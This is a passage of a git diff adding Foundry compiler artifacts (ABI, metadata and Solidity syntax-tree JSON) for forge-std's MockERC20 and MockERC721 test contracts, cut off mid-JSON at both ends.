overflow"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_74f676cd2e283c0e66b6d0717943544332197bd372b775cf0e7a53907f5c5d11","typeString":"literal_string \"ERC20: addition overflow\""}],"id":32822,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"6964:7:20","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":32827,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6964:43:20","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":32828,"nodeType":"ExpressionStatement","src":"6964:43:20"},{"expression":{"id":32829,"name":"c","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32817,"src":"7024:1:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"functionReturnParameters":32815,"id":32830,"nodeType":"Return","src":"7017:8:20"}]},"implemented":true,"kind":"function","modifiers":[],"name":"_add","nameLocation":"6868:4:20","parameters":{"id":32812,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32809,"mutability":"mutable","name":"a","nameLocation":"6881:1:20","nodeType":"VariableDeclaration","scope":32832,"src":"6873:9:20","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32808,"name":"uint256","nodeType":"ElementaryTypeName","src":"6873:7:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":32811,"mutability":"mutable","name":"b","nameLocation":"6892:1:20","nodeType":"VariableDeclaration","scope":32832,"src":"6884:9:20","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32810,"name":"uint256","nodeType":"ElementaryTypeName","src":"6884:7:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"6872:22:20"},"returnParameters":{"id":32815,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32814,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":32832,"src":"6918:7:20","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32813,"name":"uint256","nodeType":"ElementaryTypeName","src":"6918:7:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"6917:9:20"},"scope":32893,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":32853,"nodeType":"FunctionDefinition","src":"7038:154:20","nodes":[],"body":{"id":32852,"nodeType":"Block","src":"7106:86:20","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":32844,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":32842,"name":"a","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32834,"src":"7124:1:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">=","rightExpression":{"id":32843,"name":"b","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32836,"src":"7129:1:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"7124:6:20","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"45524332303a207375627472616374696f6e20756e646572666c6f77","id":32845,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"7132:30:20","typeDescriptions":{"typeIdentifier":"t_stringliteral_51030fc2fc57ce7527c9e329debac907fc652c2c136d851e4f42cbce1710c274","typeString":"literal_string \"ERC20: subtraction underflow\""},"value":"ERC20: subtraction underflow"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_51030fc2fc57ce7527c9e329debac907fc652c2c136d851e4f42cbce1710c274","typeString":"literal_string \"ERC20: subtraction underflow\""}],"id":32841,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"7116:7:20","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":32846,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7116:47:20","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":32847,"nodeType":"ExpressionStatement","src":"7116:47:20"},{"expression":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":32850,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":32848,"name":"a","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32834,"src":"7180:1:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"-","rightExpression":{"id":32849,"name":"b","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32836,"src":"7184:1:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"7180:5:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"functionReturnParameters":32840,"id":32851,"nodeType":"Return","src":"7173:12:20"}]},"implemented":true,"kind":"function","modifiers":[],"name":"_sub","nameLocation":"7047:4:20","parameters":{"id":32837,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32834,"mutability":"mutable","name":"a","nameLocation":"7060:1:20","nodeType":"VariableDeclaration","scope":32853,"src":"7052:9:20","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32833,"name":"uint256","nodeType":"ElementaryTypeName","src":"7052:7:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":32836,"mutability":"mutable","name":"b","nameLocation":"7071:1:20","nodeType":"VariableDeclaration","scope":32853,"src":"7063:9:20","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32835,"name":"uint256","nodeType":"ElementaryTypeName","src":"7063:7:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"7051:22:20"},"returnParameters":{"id":32840,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32839,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":32853,"src":"7097:7:20","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32838,"name":"uint256","nodeType":"ElementaryTypeName","src":"7097:7:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"7096:9:20"},"scope":32893,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":32865,"nodeType":"FunctionDefinition","src":"7735:276:20","nodes":[],"body":{"id":32864,"nodeType":"Block","src":"7798:213:20","nodes":[],"statements":[{"AST":{"nativeSrc":"7893:44:20","nodeType":"YulBlock","src":"7893:44:20","statements":[{"nativeSrc":"7907:20:20","nodeType":"YulAssignment","src":"7907:20:20","value":{"arguments":[],"functionName":{"name":"chainid","nativeSrc":"7918:7:20","nodeType":"YulIdentifier","src":"7918:7:20"},"nativeSrc":"7918:9:20","nodeType":"YulFunctionCall","src":"7918:9:20"},"variableNames":[{"name":"chainId","nativeSrc":"7907:7:20","nodeType":"YulIdentifier","src":"7907:7:20"}]}]},"evmVersion":"shanghai","externalReferences":[{"declaration":32856,"isOffset":false,"isSlot":false,"src":"7907:7:20","valueSize":1}],"id":32858,"nodeType":"InlineAssembly","src":"7884:53:20"},{"expression":{"arguments":[{"id":32861,"name":"this","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-28,"src":"7955:4:20","typeDescriptions":{"typeIdentifier":"t_contract$_MockERC20_$32893","typeString":"contract MockERC20"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_MockERC20_$32893","typeString":"contract MockERC20"}],"id":32860,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"7947:7:20","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":32859,"name":"address","nodeType":"ElementaryTypeName","src":"7947:7:20","typeDescriptions":{}}},"id":32862,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7947:13:20","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":32863,"nodeType":"ExpressionStatement","src":"7947:13:20"}]},"implemented":true,"kind":"function","modifiers":[],"name":"_viewChainId","nameLocation":"7744:12:20","parameters":{"id":32854,"nodeType":"ParameterList","parameters":[],"src":"7756:2:20"},"returnParameters":{"id":32857,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32856,"mutability":"mutable","name":"chainId","nameLocation":"7789:7:20","nodeType":"VariableDeclaration","scope":32865,"src":"7781:15:20","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32855,"name":"uint256","nodeType":"ElementaryTypeName","src":"7781:7:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"7780:17:20"},"scope":32893,"stateMutability":"view","virtual":false,"visibility":"private"},{"id":32892,"nodeType":"FunctionDefinition","src":"8017:300:20","nodes":[],"body":{"id":32891,"nodeType":"Block","src":"8080:237:20","nodes":[],"statements":[{"assignments":[32875],"declarations":[{"constant":false,"id":32875,"mutability":"mutable","name":"fnIn","nameLocation":"8133:4:20","nodeType":"VariableDeclaration","scope":32891,"src":"8090:47:20","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_function_internal_view$__$returns$_t_uint256_$","typeString":"function () view returns (uint256)"},"typeName":{"id":32874,"nodeType":"FunctionTypeName","parameterTypes":{"id":32870,"nodeType":"ParameterList","parameters":[],"src":"8098:2:20"},"returnParameterTypes":{"id":32873,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32872,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":32874,"src":"8124:7:20","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32871,"name":"uint256","nodeType":"ElementaryTypeName","src":"8124:7:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"8123:9:20"},"src":"8090:47:20","stateMutability":"view","typeDescriptions":{"typeIdentifier":"t_function_internal_view$__$returns$_t_uint256_$","typeString":"function () view returns (uint256)"},"visibility":"internal"},"visibility":"internal"}],"id":32877,"initialValue":{"id":32876,"name":"_viewChainId","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32865,"src":"8140:12:20","typeDescriptions":{"typeIdentifier":"t_function_internal_view$__$returns$_t_uint256_$","typeString":"function () view returns (uint256)"}},"nodeType":"VariableDeclarationStatement","src":"8090:62:20"},{"assignments":[32883],"declarations":[{"constant":false,"id":32883,"mutability":"mutable","name":"pureChainId","nameLocation":"8205:11:20","nodeType":"VariableDeclaration","scope":32891,"src":"8162:54:20","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$__$returns$_t_uint256_$","typeString":"function () pure returns (uint256)"},"typeName":{"id":32882,"nodeType":"FunctionTypeName","parameterTypes":{"id":32878,"nodeType":"ParameterList","parameters":[],"src":"8170:2:20"},"returnParameterTypes":{"id":32881,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32880,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":32882,"src":"8196:7:20","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32879,"name":"uint256","nodeType":"ElementaryTypeName","src":"8196:7:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"8195:9:20"},"src":"8162:54:20","stateMutability":"pure","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$__$returns$_t_uint256_$","typeString":"function () pure returns (uint256)"},"visibility":"internal"},"visibility":"internal"}],"id":32884,"nodeType":"VariableDeclarationStatement","src":"8162:54:20"},{"AST":{"nativeSrc":"8235:43:20","nodeType":"YulBlock","src":"8235:43:20","statements":[{"nativeSrc":"8249:19:20","nodeType":"YulAssignment","src":"8249:19:20","value":{"name":"fnIn","nativeSrc":"8264:4:20","nodeType":"YulIdentifier","src":"8264:4:20"},"variableNames":[{"name":"pureChainId","nativeSrc":"8249:11:20","nodeType":"YulIdentifier","src":"8249:11:20"}]}]},"evmVersion":"shanghai","externalReferences":[{"declaration":32875,"isOffset":false,"isSlot":false,"src":"8264:4:20","valueSize":1},{"declaration":32883,"isOffset":false,"isSlot":false,"src":"8249:11:20","valueSize":1}],"id":32885,"nodeType":"InlineAssembly","src":"8226:52:20"},{"expression":{"id":32889,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":32886,"name":"chainId","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32868,"src":"8287:7:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[],"expression":{"argumentTypes":[],"id":32887,"name":"pureChainId","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32883,"src":"8297:11:20","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$__$returns$_t_uint256_$","typeString":"function () pure returns (uint256)"}},"id":32888,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8297:13:20","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"8287:23:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":32890,"nodeType":"ExpressionStatement","src":"8287:23:20"}]},"implemented":true,"kind":"function","modifiers":[],"name":"_pureChainId","nameLocation":"8026:12:20","parameters":{"id":32866,"nodeType":"ParameterList","parameters":[],"src":"8038:2:20"},"returnParameters":{"id":32869,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32868,"mutability":"mutable","name":"chainId","nameLocation":"8071:7:20","nodeType":"VariableDeclaration","scope":32892,"src":"8063:15:20","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32867,"name":"uint256","nodeType":"ElementaryTypeName","src":"8063:7:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"8062:17:20"},"scope":32893,"stateMutability":"pure","virtual":false,"visibility":"private"}],"abstract":false,"baseContracts":[{"baseName":{"id":32322,"name":"IERC20","nameLocations":["391:6:20"],"nodeType":"IdentifierPath","referencedDeclaration":31969,"src":"391:6:20"},"id":32323,"nodeType":"InheritanceSpecifier","src":"391:6:20"}],"canonicalName":"MockERC20","contractDependencies":[],"contractKind":"contract","documentation":{"id":32321,"nodeType":"StructuredDocumentation","src":"115:254:20","text":"@notice This is a mock contract of the ERC20 standard for testing purposes only, it SHOULD NOT be used in production.\n @dev Forked from: https://github.com/transmissions11/solmate/blob/0384dbaaa4fcb5715738a9254a7c0a4cb62cf458/src/tokens/ERC20.sol"},"fullyImplemented":true,"internalFunctionIDs":{"32865":1},"linearizedBaseContracts":[32893,31969],"name":"MockERC20","nameLocation":"378:9:20","scope":32894,"usedErrors":[],"usedEvents":[31885,31894]}],"license":"MIT"},"id":20} \ No newline at end of file diff --git a/contracts/out/MockERC721.sol/IERC721TokenReceiver.json b/contracts/out/MockERC721.sol/IERC721TokenReceiver.json new file mode 100644 index 000000000..f7a504879 --- /dev/null +++ b/contracts/out/MockERC721.sol/IERC721TokenReceiver.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"onERC721Received","inputs":[{"name":"","type":"address","internalType":"address"},{"name":"","type":"address","internalType":"address"},{"name":"","type":"uint256","internalType":"uint256"},{"name":"","type":"bytes","internalType":"bytes"}],"outputs":[{"name":"","type":"bytes4","internalType":"bytes4"}],"stateMutability":"nonpayable"}],"bytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"deployedBytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"methodIdentifiers":{"onERC721Received(address,address,uint256,bytes)":"150b7a02"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"},{\"internalType\":\"bytes\",\"name\":\"\",\"type\":\"bytes\"}],\"name\":\"onERC721Received\",\"outputs\":[{\"internalType\":\"bytes4\",\"name\":\"\",\"type\":\"bytes4\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"lib/forge-std/src/mocks/MockERC721.sol\":\"IERC721TokenReceiver\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/forge-std/src/interfaces/IERC165.sol\":{\"keccak256\":\"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc\",\"dweb:/ipfs/QmT6WLHAgXxFhh12kWym895oTzXid1326iZiwT3pyfggoT\"]},\"lib/forge-std/src/interfaces/IERC721.sol\":{\"keccak256\":\"0xf069262a264fdb69f8f37a10d2df7374649e9ba73f8414c9c8a3b51184625f15\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://924a41ca82a68ffbd503a5faf2f76d13e9938f10501a71094716f12bb64b4b7f\",\"dweb:/ipfs/QmdWnqfKc5ZGhmxNPTde4zrFchnv9Yk9MpCMb2rdhXE5gm\"]},\"lib/forge-std/src/mocks/MockERC721.sol\":{\"keccak256\":\"0x3293dcbb7acd28df553c954e4e39e288bf10aab7ecda8d50ef21b4f4a91a28d9\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9eb374daf6df34f4392f8926f1fddbce9f22c423066aeaefdfbe77395f77967b\",\"dweb:/ipfs/QmWR81zBJRX2uyRjveGzikYPj6ZwKppWsU49YEQXTLWUsN\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"},{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"bytes","name":"","type":"bytes"}],"stateMutability":"nonpayable","type":"function","name":"onERC721Received","outputs":[{"internalType":"bytes4","name":"","type":"bytes4"}]}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"lib/forge-std/src/mocks/MockERC721.sol":"IERC721TokenReceiver"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/forge-std/src/interfaces/IERC165.sol":{"keccak256":"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600","urls":["bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc","dweb:/ipfs/QmT6WLHAgXxFhh12kWym895oTzXid1326iZiwT3pyfggoT"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC721.sol":{"keccak256":"0xf069262a264fdb69f8f37a10d2df7374649e9ba73f8414c9c8a3b51184625f15","urls":["bzz-raw://924a41ca82a68ffbd503a5faf2f76d13e9938f10501a71094716f12bb64b4b7f","dweb:/ipfs/QmdWnqfKc5ZGhmxNPTde4zrFchnv9Yk9MpCMb2rdhXE5gm"],"license":"MIT"},"lib/forge-std/src/mocks/MockERC721.sol":{"keccak256":"0x3293dcbb7acd28df553c954e4e39e288bf10aab7ecda8d50ef21b4f4a91a28d9","urls":["bzz-raw://9eb374daf6df34f4392f8926f1fddbce9f22c423066aeaefdfbe77395f77967b","dweb:/ipfs/QmWR81zBJRX2uyRjveGzikYPj6ZwKppWsU49YEQXTLWUsN"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"lib/forge-std/src/mocks/MockERC721.sol","id":33513,"exportedSymbols":{"IERC721Metadata":[32125],"IERC721TokenReceiver":[33512],"MockERC721":[33498]},"nodeType":"SourceUnit","src":"32:7984:21","nodes":[{"id":32895,"nodeType":"PragmaDirective","src":"32:31:21","nodes":[],"literals":["solidity",">=","0.6",".2","<","0.9",".0"]},{"id":32897,"nodeType":"ImportDirective","src":"65:58:21","nodes":[],"absolutePath":"lib/forge-std/src/interfaces/IERC721.sol","file":"../interfaces/IERC721.sol","nameLocation":"-1:-1:-1","scope":33513,"sourceUnit":32154,"symbolAliases":[{"foreign":{"id":32896,"name":"IERC721Metadata","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32125,"src":"73:15:21","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":33498,"nodeType":"ContractDefinition","src":"381:7498:21","nodes":[{"id":32902,"nodeType":"VariableDeclaration","src":"613:21:21","nodes":[],"constant":false,"mutability":"mutable","name":"_name","nameLocation":"629:5:21","scope":33498,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_string_storage","typeString":"string"},"typeName":{"id":32901,"name":"string","nodeType":"ElementaryTypeName","src":"613:6:21","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"id":32904,"nodeType":"VariableDeclaration","src":"641:23:21","nodes":[],"constant":false,"mutability":"mutable","name":"_symbol","nameLocation":"657:7:21","scope":33498,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_string_storage","typeString":"string"},"typeName":{"id":32903,"name":"string","nodeType":"ElementaryTypeName","src":"641:6:21","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"id":32913,"nodeType":"FunctionDefinition","src":"671:92:21","nodes":[],"body":{"id":32912,"nodeType":"Block","src":"734:29:21","nodes":[],"statements":[{"expression":{"id":32910,"name":"_name","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32902,"src":"751:5:21","typeDescriptions":{"typeIdentifier":"t_string_storage","typeString":"string storage ref"}},"functionReturnParameters":32909,"id":32911,"nodeType":"Return","src":"744:12:21"}]},"baseFunctions":[32110],"functionSelector":"06fdde03","implemented":true,"kind":"function","modifiers":[],"name":"name","nameLocation":"680:4:21","overrides":{"id":32906,"nodeType":"OverrideSpecifier","overrides":[],"src":"701:8:21"},"parameters":{"id":32905,"nodeType":"ParameterList","parameters":[],"src":"684:2:21"},"returnParameters":{"id":32909,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32908,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":32913,"src":"719:13:21","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":32907,"name":"string","nodeType":"ElementaryTypeName","src":"719:6:21","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"718:15:21"},"scope":33498,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":32922,"nodeType":"FunctionDefinition","src":"769:96:21","nodes":[],"body":{"id":32921,"nodeType":"Block","src":"834:31:21","nodes":[],"statements":[{"expression":{"id":32919,"name":"_symbol","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32904,"src":"851:7:21","typeDescriptions":{"typeIdentifier":"t_string_storage","typeString":"string storage ref"}},"functionReturnParameters":32918,"id":32920,"nodeType":"Return","src":"844:14:21"}]},"baseFunctions":[32116],"functionSelector":"95d89b41","implemented":true,"kind":"function","modifiers":[],"name":"symbol","nameLocation":"778:6:21","overrides":{"id":32915,"nodeType":"OverrideSpecifier","overrides":[],"src":"801:8:21"},"parameters":{"id":32914,"nodeType":"ParameterList","parameters":[],"src":"784:2:21"},"returnParameters":{"id":32918,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32917,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":32922,"src":"819:13:21","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":32916,"name":"string","nodeType":"ElementaryTypeName","src":"819:6:21","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"818:15:21"},"scope":33498,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":32931,"nodeType":"FunctionDefinition","src":"871:85:21","nodes":[],"body":{"id":32930,"nodeType":"Block","src":"954:2:21","nodes":[],"statements":[]},"baseFunctions":[32124],"functionSelector":"c87b56dd","implemented":true,"kind":"function","modifiers":[],"name":"tokenURI","nameLocation":"880:8:21","overrides":{"id":32926,"nodeType":"OverrideSpecifier","overrides":[],"src":"921:8:21"},"parameters":{"id":32925,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32924,"mutability":"mutable","name":"id","nameLocation":"897:2:21","nodeType":"VariableDeclaration","scope":32931,"src":"889:10:21","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32923,"name":"uint256","nodeType":"ElementaryTypeName","src":"889:7:21","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"888:12:21"},"returnParameters":{"id":32929,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32928,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":32931,"src":"939:13:21","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":32927,"name":"string","nodeType":"ElementaryTypeName","src":"939:6:21","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"938:15:21"},"scope":33498,"stateMutability":"view","virtual":true,"visibility":"public"},{"id":32935,"nodeType":"VariableDeclaration","src":"1152:45:21","nodes":[],"constant":false,"mutability":"mutable","name":"_ownerOf","nameLocation":"1189:8:21","scope":33498,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_mapping$_t_uint256_$_t_address_$","typeString":"mapping(uint256 => address)"},"typeName":{"id":32934,"keyName":"","keyNameLocation":"-1:-1:-1","keyType":{"id":32932,"name":"uint256","nodeType":"ElementaryTypeName","src":"1160:7:21","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Mapping","src":"1152:27:21","typeDescriptions":{"typeIdentifier":"t_mapping$_t_uint256_$_t_address_$","typeString":"mapping(uint256 => 